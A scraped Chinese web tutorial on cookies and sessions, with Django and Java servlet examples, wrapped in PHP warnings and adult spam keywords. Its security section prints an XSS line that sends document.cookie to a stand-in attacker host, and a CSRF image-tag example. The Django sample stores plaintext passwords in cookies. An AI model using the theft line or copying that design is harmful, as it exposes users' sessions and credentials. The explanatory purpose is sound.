Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 国产精品久久免费视频,自拍偷拍网址,国产亚洲美女

          整合營銷服務(wù)商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          django中cookie使用方法示例

          django中cookie使用方法示例

          ython django框架中cookie使用

          1.簡述

          (1)設(shè)置Cookies

          response.set_cookie("cookie_key","value")

          (2)獲取Cookies

          value=request.COOKIES["cookie_key"]

          (3)刪除Cookies

          response.delete_cookie("cookie_key",path="/",domain=name)

          (4)檢測Cookies

          if "cookie_name" in request.COOKIES :

          (5)response.set_cookie() 傳遞一些可選的參數(shù) 描述

          2.示例

          2.1設(shè)置Cookies

          login_user=models.User.objects.get(username=username, password=password) # 這里用的mongodb進行的數(shù)據(jù)存儲
          # print(login_user["username"])
          # 帳號和密碼正確,cookie保存登錄狀態(tài)
          # 獲取相應(yīng)對象
          response=redirect(reverse("blog:index"))
          # 設(shè)置cookie
          response.set_cookie("blog_username", login_user["username"], 604800) #過期時間單位是s (這里設(shè)置為7天)
          response.set_cookie("blog_password", login_user["password"], 604800)

          2.2檢測、獲取Cookies

          def index(request):
          # 檢測cookies是否存在
          if "blog_username" in request.COOKIES:
          # 獲取cookies
          login_username=request.COOKIES.get("blog_username")
          login_password=request.COOKIES.get("blog_password")
          # 獲取登錄用戶信息
          login_user=models.User.objects.get(username=login_username, password=login_password)
          # 返回登錄成功后頁面
          return render(request, "blog/index.html", {"login_user": login_user})
          else:
          # 進入未登錄狀態(tài)的主頁
          return render(request, "blog/index.html")

          2.3刪除Cookies

          大家詳細了解下Cookie相關(guān)的知識!

          一、背景

          HTTP無狀態(tài):服務(wù)器無法知道兩個請求是否來自同一個瀏覽器,即服務(wù)器不知道用戶上一次做了什么,每次請求都是完全相互獨立。早期互聯(lián)網(wǎng)只是用于簡單的瀏覽文檔信息、查看黃頁、門戶網(wǎng)站等等,并沒有交互這個說法。但是隨著互聯(lián)網(wǎng)慢慢發(fā)展,寬帶、服務(wù)器等硬件設(shè)施已經(jīng)得到很大的提升,互聯(lián)網(wǎng)允許人們可以做更多的事情,所以交互式Web慢慢興起,而HTTP無狀態(tài)的特點卻嚴(yán)重阻礙其發(fā)展!

          二、Cookie是什么東東

          Cookie是由服務(wù)器發(fā)給客戶端的特殊信息,而這些信息以文本文件的方式存放在客戶端,然后客戶端每次向服務(wù)器發(fā)送請求的時候都會帶上這些特殊的信息,用于服務(wù)器記錄客戶端的狀態(tài)。

          Cookie主要用于以下三個方面:

          1. 會話狀態(tài)管理(如用戶登錄狀態(tài)、購物車、游戲分?jǐn)?shù)或其它需要記錄的信息)
          2. 個性化設(shè)置(如用戶自定義設(shè)置、主題等)
          3. 瀏覽器行為跟蹤(如跟蹤分析用戶行為等)

          三、Cookie原理

          在了解了Cookie是由服務(wù)器發(fā)出存儲在瀏覽器的特殊信息,那具體是怎么樣的一個過程呢?為大家為大家畫了一幅Cookie原理圖。

          用戶在輸入用戶名和密碼之后,瀏覽器將用戶名和密碼發(fā)送給服務(wù)器,服務(wù)器進行驗證,驗證通過之后將用戶信息加密后封裝成Cookie放在請求頭中返回給瀏覽器。

          HTTP/1.1 200 OK

          Content-type: text/html

          Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly

          瀏覽器收到服務(wù)器返回數(shù)據(jù),發(fā)現(xiàn)請求頭中有一個:Set-Cookie,然后它就把這個Cookie保存起來,下次瀏覽器再請求服務(wù)器的時候,會把Cookie也放在請求頭中傳給服務(wù)器:

          GET /sample_page.html HTTP/1.1

          Host: www.example.org

          Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg

          服務(wù)器收到請求后從請求頭中拿到cookie,然后解析并到用戶信息,說明此用戶已登錄,Cookie是將數(shù)據(jù)保存在客戶端的。用戶信息是保存在Cookie中,也就相當(dāng)于是保存在瀏覽器中,那就說用戶可以隨意修改用戶信息,是一種不安全的策略!強調(diào)一點:Cookie無論是服務(wù)器發(fā)給瀏覽器還是瀏覽器發(fā)給服務(wù)器,都是放在請求頭中的!

          四、Cookie屬性

          一個Cookie有:Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure這些屬性,那這些屬性分別都有什么作用呢?

          1、Name&Value

          Name表示Cookie的名稱,服務(wù)器就是通過name屬性來獲取某個Cookie值。Value表示Cookie 的值,大多數(shù)情況下服務(wù)器會把這個value當(dāng)作一個key去緩存中查詢保存的數(shù)據(jù)。

          2、Domain&Path

          Domain表示可以訪問此cookie的域名,以百度貼吧Cookie來講解一下Domain屬性。

          從上圖中我們可以看出domain有:.baidu.com 頂級域名和.teiba.baidu.com的二級域名,所以這里就會有一個訪問規(guī)則:頂級域名只能設(shè)置或訪問頂級域名的Cookie,二級及以下的域名只能訪問或設(shè)置自身或者頂級域名的Cookie,所以如果要在多個二級域名中共享Cookie的話,只能將Domain屬性設(shè)置為頂級域名!

          3、Expires/Max-Age

          Expires/Max-Age表示此cookie超時時間。若設(shè)置其值為一個時間,那么當(dāng)?shù)竭_此時間后,此cookie失效。不設(shè)置的話默認(rèn)值是Session,意思是cookie會和session一起失效。當(dāng)瀏覽器關(guān)閉(不是瀏覽器標(biāo)簽頁,而是整個瀏覽器) 后,此cookie失效,當(dāng)Cookie的過期時間被設(shè)定時,設(shè)定的日期和時間只與客戶端相關(guān),而不是服務(wù)端。

          4、Size

          Size表示Cookie的name+value的字符數(shù),比如有一個Cookie:id=666,那么Size=2+3=5 。

          另外每個瀏覽器對Cookie的支持都不相同

          5、HTTP

          HTTP表示cookie的httponly屬性。若此屬性為true,則只有在http請求頭中會帶有此cookie的信息,而不能通過document.cookie來訪問此cookie。

          6、Secure

          Secure表示是否只能通過https來傳遞此條cookie。不像其它選項,該選項只是一個標(biāo)記并且沒有其它的值。這種cookie的內(nèi)容意指具有很高的價值并且可能潛在的被破解以純文本形式傳輸。

          五、操作Cookie

          1、生成Cookie

          Cookie是由服務(wù)端生成的,那如何用Python代碼來生成呢?

          從登錄代碼中我們看到,在簡單的驗證用戶名和密碼之后,服務(wù)器跳轉(zhuǎn)到/user,然后set了一個cookie,瀏覽器收到響應(yīng)后發(fā)現(xiàn)請求頭中有一個:Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg,然后瀏覽器就會將這個Cookie保存起來!

          2、獲取Cookie

          用requests模塊來獲取Cookie。

          r.cookies表示獲取所有cookie,get_dict()函數(shù)表示返回的是字典格式cookie。

          3、設(shè)置Cookie

          用瀏覽器復(fù)制過來的Cookie放在代碼中,這樣便可以順利的偽裝成瀏覽器,然后正常爬取數(shù)據(jù),復(fù)制Cookie是爬蟲中常用的一種手段!

          六、Session

          1、背景

          其實在Cookie設(shè)計之初Cookie只保存一個key,而是直接保存用戶信息,剛開始大家認(rèn)為這樣用起來很爽,但是由于cookie 是存在用戶端,而且它本身存儲的尺寸大小也有限,最關(guān)鍵是用戶可以是可見的,并可以隨意的修改,很不安全。那如何又要安全,又可以方便的全局讀取信息呢?于是,這個時候,一種新的存儲會話機制:Session 誕生了。

          2、Session是什么

          Session翻譯為會話,服務(wù)器為每個瀏覽器創(chuàng)建的一個會話對象,瀏覽器在第一次請求服務(wù)器,服務(wù)器便會為這個瀏覽器生成一個Session對象,保存在服務(wù)端,并且把Session的Id以cookie的形式發(fā)送給客戶端瀏覽,而以用戶顯式結(jié)束或session超時為結(jié)束。

          Session工作原理:

          • 當(dāng)一個用戶向服務(wù)器發(fā)送第一個請求時,服務(wù)器為其建立一個session,并為此session創(chuàng)建一個標(biāo)識號(sessionID)。
          • 這個用戶隨后的所有請求都應(yīng)包括這個標(biāo)識號(sessionID)。服務(wù)器會校對這個標(biāo)識號以判斷請求屬于哪個session。

          對于session標(biāo)識號(sessionID),有兩種方式實現(xiàn):Cookie和URL重寫,Session原理圖。

          Cookie是將數(shù)據(jù)直接保存在客戶端,而Session是將數(shù)據(jù)保存在服務(wù)端,就安全性來講Session更好!

          七、總結(jié)

          1、Cookie和Session關(guān)系

          • Cookie是保存在客戶端,缺點易偽造、不安全
          • Session是保存在服務(wù)端,會消耗服務(wù)器資源
          • Session實現(xiàn)有兩種方式:Cookie和URL重寫

          2、Cookie帶來的安全性問題

          • 會話劫持和XSS:在Web應(yīng)用中,Cookie常用來標(biāo)記用戶或授權(quán)會話。因此,如果Web應(yīng)用的Cookie被竊取,可能導(dǎo)致授權(quán)用戶的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學(xué)攻擊和利用應(yīng)用程序漏洞進行XSS攻擊。(new Image()).src="http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly類型的Cookie由于阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊。
          • 跨站請求偽造(CSRF):比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行服務(wù)器發(fā)送提現(xiàn)的請求:<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">當(dāng)你打開含有了這張圖片的HTML頁面時,如果你之前已經(jīng)登錄了你的銀行帳號并且Cookie仍然有效(還沒有其它驗證步驟),你銀行里的錢很可能會被自動轉(zhuǎn)走。解決CSRF的辦法有:隱藏域驗證碼、確認(rèn)機制、較短的Cookie生命周期等。

          、誕生背景

          HTTP是無狀態(tài)的,即服務(wù)器無法知道兩個請求是否來自同一個瀏覽器,也就是服務(wù)器不知道用戶上一次做了什么,每次請求都是完全獨立的。

          早期互聯(lián)網(wǎng)只是用于簡單的瀏覽文檔信息、查看黃頁和門戶網(wǎng)站等,并沒有交互這個概念。但是隨著互聯(lián)網(wǎng)慢慢發(fā)展,寬帶、服務(wù)器等硬件設(shè)施得到了很多的提升,互聯(lián)網(wǎng)允許人們做更多的事情,所以交互式Web(交互式Web即客戶端與服務(wù)器可以互動,如用戶登錄、商品購買和論壇等)慢慢就興起了,而HTTP無狀態(tài)的特點對此造成了嚴(yán)重阻礙。

          由于不能記錄用戶上次的操作,偉大的程序員發(fā)明了隱藏域用于記錄用戶上一次的操作信息;通過隱藏域把用戶上次操作記錄放在form表單的input中,這樣請求時將表單提交就可以知道上一次用戶的操作了,但是這樣每次都得創(chuàng)建隱藏域而且需要賦值,既麻煩又容易出錯;但是隱藏域作用強大,時至今日都有很多人在用它解決各種問題。隱藏域的寫法如下:

          <input type="hidden" name="field_name" value="value">

          網(wǎng)景公司的盧-蒙特利Lou Montulli,在1994年將Cookies的概念應(yīng)用于網(wǎng)絡(luò)通信,用于解決用戶網(wǎng)上購物的購物車歷史記錄,而當(dāng)時最強大的瀏覽器也是網(wǎng)景瀏覽器;之后在網(wǎng)景瀏覽器的支持下其他瀏覽器也逐漸開始支持Cookie,到如今所有瀏覽器都支持Cookie了。

          二、什么是Cookie

          Cookie的誕生是為了解決HTTP無狀態(tài)的特性,用于滿足交互式Web。

          圖1. Chrome瀏覽器百度首頁Cookies

          圖2. Firefox瀏覽器百度首頁Cookie

          圖3. Safari瀏覽器百度首頁Cookie

          上圖中可以看到在Chrome、Firefox和Safari瀏覽器中百度首頁的Cookie,在表格中,每一行都代表著一個Cookie。Cookie是由服務(wù)器發(fā)給客戶端的特殊信息,而這些信息以文本文件的形式存儲在客戶端,然后客戶端每次向服務(wù)器發(fā)送請求的時候都會帶上這些特殊的信息,用于服務(wù)器記錄客戶端的狀態(tài)。

          Cookie主要運用于以下三個方面:

          1、會話狀態(tài)管理,如用戶登錄狀態(tài)、購物車、游戲分?jǐn)?shù)或其他需要記錄的信息;

          2、個性化設(shè)置,如用戶自定義設(shè)置、主題等;

          3、瀏覽器行為跟蹤。

          三、Cookie原理

          Cookie是由服務(wù)器發(fā)出存儲在瀏覽器的特殊信息,其具體的過程可以通過一個用戶登錄的例子來了解。

          圖4. Cookie工作原理

          如上圖所示,用戶在輸入用戶名和密碼之后,瀏覽器將用戶名和密碼發(fā)送給服務(wù)器,服務(wù)器進行驗證,驗證通過后將用戶信息加密后封裝成Cookie放在請求頭中返回給瀏覽器。

          HTTP/1.1 200 OK
          Content-type: text/html
          Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly
          
          [響應(yīng)體]

          瀏覽器收到服務(wù)器返回的數(shù)據(jù),發(fā)現(xiàn)請求頭中有一個:Set-Cookie,然后它就把這個Cookie保存起來,下次瀏覽器再請求服務(wù)器的時候,會把Cookie也一起放在請求頭中傳給服務(wù)器。

          GET /sample_page.html HTTP/1.1
          Host: www.example.org
          Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg

          服務(wù)器收到請求后從請求頭中拿到Cookie,然后解析并得到用戶信息,說明此用戶已登錄,因此Cookie是將數(shù)據(jù)保存在客戶端的。

          從上述用戶登錄的例子可以看出,用戶信息是保存在Cookie中,也就相當(dāng)于是保存在瀏覽器中的,那么用戶就可以隨意更改用戶信息,這是一種不安全的策略。另外,Cookie無論是服務(wù)器發(fā)送給瀏覽器,還是瀏覽器發(fā)送給服務(wù)器,都是放在請求頭中的。

          四、Cookie屬性

          從上圖的Chorme、Firefox和Safari瀏覽器可以看到一個Cookie有:Name、Value、Domian、Path、Expires/Max-Age、Size、Http(Httponly)和Secure這些屬性。

          1、Name & Value

          Name表示Cookie的名稱,服務(wù)器就是通過name屬性來獲取某個Cookie的值。

          Value表示Cookie的值,多數(shù)情況下服務(wù)器會把這個value當(dāng)做一個Key去緩存中查詢保存的數(shù)據(jù)。

          2、Domain & Path

          Domian表示可以訪問此Cookie的域名,下圖我們以百度貼吧首頁的Cookie來了解下Domain的屬性。

          圖5. Chrome瀏覽器貼吧首頁Cookie's Domain

          圖中可以看出,第三列的Domian有:.baidu.com頂級域名和.teiba.baidu.com二級域名;所以這里就有一個訪問規(guī)則:頂級域名只能設(shè)置或訪問頂級域名的Cookie,二級以下的域名只能訪問或設(shè)置自身或者頂級域名的Cookie,所以如果要在多個二級域名中共享Cookie的話,只能將Domain的屬性設(shè)置為頂級域名。

          Path表示可以訪問此Cookie的頁面路徑;如path=/test,那么只有/test路徑下的頁面可以讀取此Cookie。

          3、Expire/Max-Age

          Expire/Max-Age表示此cookie的超時時間;若設(shè)置其值為一個時間,那么當(dāng)?shù)竭_此時間后,此cookie則會失效;不設(shè)置的話默認(rèn)值是Session,意思是cookie會和session一起失效;當(dāng)瀏覽器關(guān)閉(關(guān)閉整個瀏覽器,而不是瀏覽器的標(biāo)簽頁)后,此cookie失效。另外,當(dāng)Cookie的過期時間被設(shè)定時,設(shè)定的日期和時間只與客戶端相關(guān),與服務(wù)端無關(guān)。

          4、Size

          Size表示Cookie的name+value的字符數(shù),比如有一個Cookie:id=666,那么Size=2+3=5。2即是name,3即為value,各個瀏覽器對Cookie的支持都有所不同,如下圖:

          圖6. 各瀏覽器Cookie支持的個數(shù)

          5、HTTP

          HTTP表示cookie的httponly屬性;若此屬性為true,則只有在http請求頭中會帶有此cookie的信息,而不能通過document.cookie來訪問此cookie。這么設(shè)計是為了提供一個安全措施來幫助阻止通過JavaScript發(fā)起的跨站腳本攻擊(XXS)竊取cookie的惡劣行為。

          圖7. document.cookie

          6、Secure

          Secure表示是否只能通過https來傳遞此條cookie;不像其他選項,該選項只是一個標(biāo)記并且沒有其他的值。

          五、Java操作Cookie

          1、生成Cookie

           1 package com.ausclouds.bdbsec.auth.cmb;
           2 
           3 import javax.servlet.http.Cookie;
           4 import javax.servlet.http.HttpServlet;
           5 import javax.servlet.http.HttpServletRequest;
           6 import javax.servlet.http.HttpServletResponse;
           7 
           8 public class CookieServlet extends HttpServlet {
           9 
          10 @Override
          11 protected void service(HttpServletRequest req, HttpServletResponse resp){
          12 //創(chuàng)建Cookie對象
          13 Cookie comCookie=new Cookie("computer", "HP");
          14 //服務(wù)器把cookie響應(yīng)給客戶端,所有的cookie對象,都會在服務(wù)器端創(chuàng)建,通過http響應(yīng)給客戶端(瀏覽器)
          15 
          16 //如果不設(shè)置使用時間,則取不到Cookie的值
          17 comCookie.setMaxAge(60*60*24*30);
          18 
          19 //一旦設(shè)置了cookie的路徑,就只能通過這一個路徑才能獲取到cookie的信息
          20 comCookie.setPath(req.getContextPath() + "/getCookie.sxt");
          21 
          22 //添加cookie
          23 resp.addCookie(comCookie);
          24 
          25 }
          26 }

          2、獲取Cookie

           1 package com.ausclouds.bdbsec.auth.cmb;
           2 
           3 import javax.servlet.http.Cookie;
           4 import javax.servlet.http.HttpServlet;
           5 import javax.servlet.http.HttpServletRequest;
           6 import javax.servlet.http.HttpServletResponse;
           7 
           8 public class GetCookieServlet extends HttpServlet {
           9 
          10 @Override
          11 protected void service(HttpServletRequest req, HttpServletResponse resp){
          12 //獲取cookie信息
          13 Cookie[] cookies=req.getCookies();
          14 for (int i=0; i<cookies.length; i++){
          15 System.out.println(cookies[i].getName() + ":" + cookies[i].getValue());
          16 }
          17 }
          18 
          19 }

          3、刪除Cookie

          //刪除Cookie的思路就是替換原來的cookie,并設(shè)置它的生存時間為0
          Cookie cookie=new Cookie("Cookie",null);//cookie名字要相同
              cookie.setMaxAge(0); //
           cookie.setPath(request.getContextPath()); // 相同路徑
           response.addCookie(cookie);

          六、Session

          1、誕生背景

          其實設(shè)計Cookie之初,它并不是僅僅保存了一個key值,而是直接保存用戶的信息,但是由于cookie是存在客戶端的,而且本身存儲的尺寸大小也是有限的,最關(guān)鍵的是用戶是可見的,并且可以隨意地修改,這相當(dāng)?shù)夭话踩榱思劝踩址奖愕淖x取全局信息,于是誕生了Session這種新的存儲會話機制。

          2、什么是Session

          Session翻譯為會話,服務(wù)器為每個瀏覽器創(chuàng)建一個會話對象,瀏覽器在第一次請求服務(wù)器時,服務(wù)器便會為該瀏覽器生成一個Seesion對象,保存在服務(wù)端,并且把Session的Id以cookie的形式發(fā)送給客戶端瀏覽器,最終以用戶顯示結(jié)束或session超時為結(jié)束。

          Session工作原理:

          1.當(dāng)某個用戶向服務(wù)器發(fā)送第一個請求時,服務(wù)器為其建立一個sesion,并為此session創(chuàng)建一個標(biāo)識號(sessionID);

          2.這個用戶隨后的所有請求都應(yīng)包括這個標(biāo)識號(sessionID),服務(wù)器會校對這個標(biāo)識號以判斷請求是屬于哪個session的;

          3.sessionID標(biāo)識號有兩種實現(xiàn)方式:Cookie和URL重寫;

          4.Cookie是將數(shù)據(jù)直接保存在客戶端,而Session是將數(shù)據(jù)保存在服務(wù)端,所以Session的安全性更佳。

          圖8. Session工作原理(基于Cookie實現(xiàn))

          3、Java操作Session

          1.創(chuàng)建Session

          ActionContext actionContext=ActionContext.getContext();
          Map<String, Object> mapSession=actionContext.getSession();
          mapSession.put("branch", branch);
          mapSession.put("permission", per);

          2.JSP獲取Session

          1 if(session.getAttribute("branch")==null||session.getAttribute("permission")==null)
          2 {
          3 response.setCharacterEncoding("utf-8");
          4 out.print("<script>alert('您還沒有登錄,請登錄') </script>");
          5 out.flush();
          6 out.close();
          7 }

          3.Java后臺獲取Session

          1 ActionContext actionContext=ActionContext.getContext();
          2 Map session=actionContext.getSession();
          3 String inputUserid=(String)session.get("username");
          4 String proving=(String)session.get("proving");

          七、面試相關(guān)

          1、Cookie和Session的關(guān)系?

          1. 二者都是為實現(xiàn)客戶端與服務(wù)端交互而服務(wù)的;

          2. Cookie是保存在客戶端,缺點易偽造、不安全;

          3. Session是保存在服務(wù)端,會消耗服務(wù)器資源;

          4. Session實現(xiàn)有兩種方式:Cookie和URL重寫。

          2、Cookie帶來的安全性問題?

          1. 會話劫持和XSS:在Web應(yīng)用中,Cookie常用來標(biāo)記用戶或授權(quán)會話。因此,如果Web應(yīng)用的Cookie被竊取,可能導(dǎo)致授權(quán)用戶的會話受到攻擊;常用的竊取Cookie的方式有社會工程學(xué)攻擊和應(yīng)用程序漏洞進行XSS攻擊;

          2. 跨站請求偽造(CSRF):維基百科已經(jīng)給出了一個較好的CSRF例子。如在不安全的聊天室或論壇上的一張圖片,它實際上是一個給你銀行服務(wù)器發(fā)送提現(xiàn)的請求:

          <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

          當(dāng)你點擊打開該圖片時,如果之前已經(jīng)登錄過你的銀行賬號并且Cookie仍未失效,那么你銀行里的錢很可能會被自動轉(zhuǎn)走;解決CSRF的辦法有:隱藏域驗證碼、確認(rèn)機制和設(shè)置較短的Cookie生命周期等。

          3、Session應(yīng)用場景?

          Session主要是服務(wù)器端存儲,用來描述一些用戶信息或者相關(guān)的其他數(shù)據(jù),還可以是其他類型的數(shù)據(jù),只要是你的業(yè)務(wù)覺得可以綁定到用戶或客戶端的相關(guān)數(shù)據(jù)都可以放到session中;最基本的場景就是存儲登錄用戶信息。

          4、Session生命周期?

          1、創(chuàng)建:若訪問的第一個資源是JSP頁面,則創(chuàng)建session對象;若訪問的第一個資源是Servlet,則需要手動調(diào)用request.getSession()方法來創(chuàng)建session對象;

          2、銷毀:調(diào)用session.invalidate()方法來銷毀session()對象,session會話超時默認(rèn)30分鐘。


          最后我自己是一名從事了多年開發(fā)的JAVA老程序員,今年年初我花了一個月整理了一份最適合2019年學(xué)習(xí)的java學(xué)習(xí)干貨,我想分享給每一位喜歡java的小伙伴,想要獲取的可以關(guān)注我并在后臺私信我:01,即可免費獲取。


          主站蜘蛛池模板: 精品乱码一区二区三区在线| 精品一区二区三区无码免费直播| 精品一区二区视频在线观看| 国产激情精品一区二区三区| 成人区人妻精品一区二区三区| 国产在线精品一区二区三区不卡 | 中文字幕日韩人妻不卡一区| 91久久精品国产免费一区| 日本一区二区三区在线视频观看免费 | 日本美女一区二区三区 | 久久婷婷久久一区二区三区| 美女免费视频一区二区| 国产成人亚洲综合一区| 日本内射精品一区二区视频 | 日韩国产免费一区二区三区| 日韩内射美女人妻一区二区三区| 国产乱码一区二区三区爽爽爽| 一区二区三区高清在线| 国产伦精品一区二区免费| 亚洲AV无码一区二三区| 一区二区三区AV高清免费波多| 亚洲AV无码一区二区三区国产| 一区二区三区福利| 久久国产精品一区| 国产午夜精品一区理论片飘花| 免费看无码自慰一区二区 | 精品国产一区二区二三区在线观看 | 色屁屁一区二区三区视频国产| 久久人妻无码一区二区 | 精品国产免费一区二区三区香蕉| 国精产品一区一区三区免费视频| 中文字幕一区日韩在线视频| 另类一区二区三区| 久久久一区二区三区| 日韩一区二区在线观看视频 | 精品无码综合一区| 久久精品视频一区| 五十路熟女人妻一区二区| 国产一区二区三区露脸| 中文字幕在线观看一区二区| 无码毛片视频一区二区本码|